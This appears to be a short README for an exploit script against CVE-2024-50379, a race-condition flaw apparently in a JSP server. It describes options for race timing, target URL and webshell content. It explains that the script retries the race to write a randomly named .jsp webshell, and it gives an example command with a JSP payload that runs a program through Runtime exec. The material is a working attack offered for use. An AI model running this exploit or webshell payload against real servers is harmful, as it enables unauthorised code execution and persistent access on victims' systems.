CVE-2024-50379-exp

• -t race condition time
• -u domain
• -f write webshell

Testing found that during the first race condition, there is a high probability that writing will fail. Another race condition is required to write the webshell. Therefore, the script first performs a fixed 6-second race condition check to see if it is written. If not, it then performs a user-defined or default 10-second check. The generated webshell is random md5.jsp.

python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10

image